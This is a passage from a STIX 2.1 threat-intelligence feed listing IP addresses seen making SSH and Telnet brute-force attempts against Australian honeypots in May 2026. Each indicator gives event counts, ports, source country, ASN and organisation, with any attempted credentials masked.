      "valid_from": "2026-05-17T22:15:10.000Z",
      "valid_until": "2026-06-18T22:15:08.000Z"
    },
    {
      "created": "2026-05-17T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MU. ASN(s): 23889. Organisation(s): MauritiusTelecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******6, 1*****e, 1******h, 1*******t, 3***********4.",
      "id": "indicator--ffaf5a27-43c1-4723-b93b-3019a31193e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.225.146.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T22:15:10.000Z",
      "valid_until": "2026-06-18T22:15:08.000Z"
    },
    {
      "created": "2026-05-17T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc.",
      "id": "indicator--5ae531f5-a545-49dc-9a8a-34e80893a3dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '76.94.234.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T22:15:10.000Z",
      "valid_until": "2026-06-18T22:15:08.000Z"
    },
    {
      "created": "2026-05-17T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--065807f1-52ec-4d0a-9806-9de69ca88cb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.101.157.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T22:15:10.000Z",
      "valid_until": "2026-06-18T22:15:08.000Z"
    },
    {
      "created": "2026-05-17T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--3e9090ce-d29d-4cb0-ab58-8e8a2d8d2fd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T22:15:10.000Z",
      "valid_until": "2026-06-18T22:15:08.000Z"
    },
    {
      "created": "2026-05-17T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--5d7c19a2-8204-4483-91b1-2230bd01c9ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.31.110.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T23:15:10.000Z",
      "valid_until": "2026-06-18T23:15:08.000Z"
    },
    {
      "created": "2026-05-17T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 265525. Organisation(s): TV CABLE DEL GUADIANA S.A DE C.V..",
      "id": "indicator--9fe10e8b-7f5e-47a8-837d-f15cb17c5558",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.80.240.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T23:15:10.000Z",
      "valid_until": "2026-06-18T23:15:08.000Z"
    },
    {
      "created": "2026-05-17T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A..",
      "id": "indicator--7ff1b664-7536-4def-a1da-ec32dc3f1aac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.158.145.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T23:15:10.000Z",
      "valid_until": "2026-06-18T23:15:08.000Z"
    },
    {
      "created": "2026-05-17T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--e8601c4c-c2f8-4b38-b1b3-8d65c77d7857",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.134.45.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T23:15:10.000Z",
      "valid_until": "2026-06-18T23:15:08.000Z"
    },
    {
      "created": "2026-05-17T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): a***n. Passwords observed (masked): I***********************4.",
      "id": "indicator--3a82dc28-9929-44c8-acce-04f03cc1bf4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T23:15:10.000Z",
      "valid_until": "2026-06-18T23:15:08.000Z"
    },
    {
      "created": "2026-05-17T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e754f851-6e1e-4c5c-b4bf-ec3e5071baa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T23:15:10.000Z",
      "valid_until": "2026-06-18T23:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--57af3cf4-f6a3-41b5-9913-8f291c28b5b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.32.235.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f7fc4f1f-3e68-4fcb-baa3-380bc3dc7e56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.211.162.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2519. Organisation(s): ARTERIA Networks Corporation.",
      "id": "indicator--132590ff-4d60-4b57-bf28-848c3be7f3ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '133.175.51.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--18998f12-b6f8-44a9-a183-fd6c26054042",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.197.183.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 58715. Organisation(s): EARTH TELECOMMUNICATION Pvt LTD.. Usernames observed (masked): r**t, r****l, 3**********4, t**r, z*******g. Passwords observed (masked): 3***********4, 3**********4, A********., A******4, A********9.",
      "id": "indicator--fd34b2b8-5f85-4392-b527-b6fc4cf41680",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.48.68.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, 3**********4, ***, ***, s**l. Passwords observed (masked): 1****6, 3***********4, 3**********4, 8**0, A******4.",
      "id": "indicator--eea40322-fafc-44c3-bde5-ee879a2dc9fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.145.149.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--c9337684-d097-4610-af73-dc274197f0af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.199.52.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 303. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, h****i, i**r, j**e. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******@, 1****e.",
      "id": "indicator--3c439659-1d9d-4291-944a-ad04041ab6c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.135.139.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 303. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, h****i, i**r, j**e. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******@, 1******@.",
      "id": "indicator--a4b0f688-1e74-4e4d-885a-3b9de6bac870",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.124.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 303. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, h****i, i**r, j**e. Passwords observed (masked): 3***********4, 3**********4, 1******@, 1****e, a******a.",
      "id": "indicator--ef86d9c6-fa4b-4bf5-b12a-85e905bed73a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.40.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--ba6b3a06-f193-4d36-8c9a-6c9616225651",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 43733. Organisation(s): Viva Armenia CJSC.",
      "id": "indicator--6da1fc9f-b9bb-4376-a522-6f1e20d88df9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.139.27.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 60781. Organisation(s): LeaseWeb Netherlands B.V.. Usernames observed (masked): a***n. Passwords observed (masked): I***********************5.",
      "id": "indicator--e865cf7f-5be5-4a0e-b5ea-b4be93a79af9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.75.225.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:15:11.000Z",
      "valid_until": "2026-06-19T00:15:08.000Z"
    },
    {
      "created": "2026-05-18T01:15:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--c67758f3-dff9-4ac2-a13d-b2c427e9439c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T01:15:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.189.27.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T01:15:42.000Z",
      "valid_until": "2026-06-19T01:15:08.000Z"
    },
    {
      "created": "2026-05-18T01:15:42.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 270161. Organisation(s): Television Internacional, S.A. de C.V..",
      "id": "indicator--7e5467c7-3141-4eca-b71b-db1dfcdd7e1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T01:15:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.249.173.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T01:15:42.000Z",
      "valid_until": "2026-06-19T01:15:08.000Z"
    },
    {
      "created": "2026-05-18T01:15:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): a***n. Passwords observed (masked): I*************************t.",
      "id": "indicator--0bd480e0-bc4a-49b0-b372-de84d61eea61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T01:15:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T01:15:42.000Z",
      "valid_until": "2026-06-19T01:15:08.000Z"
    },
    {
      "created": "2026-05-18T01:15:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 13489. Organisation(s): UNE EPM TELECOMUNICACIONES S.A.. Usernames observed (masked): r**t, 3**********4, *, a***n, ***. Passwords observed (masked): ***, 1**4, 1******7, 1****e, 3***********4.",
      "id": "indicator--aa70558c-b1ee-4dbe-80a3-ae5d0c8352bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T01:15:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.184.50.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T01:15:42.000Z",
      "valid_until": "2026-06-19T01:15:08.000Z"
    },
    {
      "created": "2026-05-18T01:15:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia.",
      "id": "indicator--51f3637e-28ec-4be9-8502-44f86132cb47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T01:15:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.79.190.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T01:15:42.000Z",
      "valid_until": "2026-06-19T01:15:08.000Z"
    },
    {
      "created": "2026-05-18T01:15:42.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--1980801d-5d16-480a-8702-20c02e14abc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T01:15:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.186.126.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T01:15:42.000Z",
      "valid_until": "2026-06-19T01:15:08.000Z"
    },
    {
      "created": "2026-05-18T01:15:42.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--4a98cbc5-1c38-4fcb-a437-4a6eb2eab5db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T01:15:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.86.134.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T01:15:42.000Z",
      "valid_until": "2026-06-19T01:15:08.000Z"
    },
    {
      "created": "2026-05-18T01:15:42.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b34bb8da-423a-4056-bfbf-973d505b7d53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T01:15:42.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.177.228.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T01:15:42.000Z",
      "valid_until": "2026-06-19T01:15:08.000Z"
    },
    {
      "created": "2026-05-18T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4835. Organisation(s): China Telecom Group. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 4******V, J******s, K*******3.",
      "id": "indicator--dcab302b-1697-4bcd-960a-5f5675c451b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.251.110.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:15:11.000Z",
      "valid_until": "2026-06-19T02:15:08.000Z"
    },
    {
      "created": "2026-05-18T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--9e6a6a9a-cbdc-4728-b3fd-85e3c2e0b483",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.171.24.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:15:11.000Z",
      "valid_until": "2026-06-19T02:15:08.000Z"
    },
    {
      "created": "2026-05-18T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): a***n. Passwords observed (masked): I*************************t.",
      "id": "indicator--b11fb7ed-b8cc-4759-9591-d627e0ed27b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:15:11.000Z",
      "valid_until": "2026-06-19T02:15:08.000Z"
    },
    {
      "created": "2026-05-18T02:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7d56687f-fcd8-49ab-9237-9dce1d59e924",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
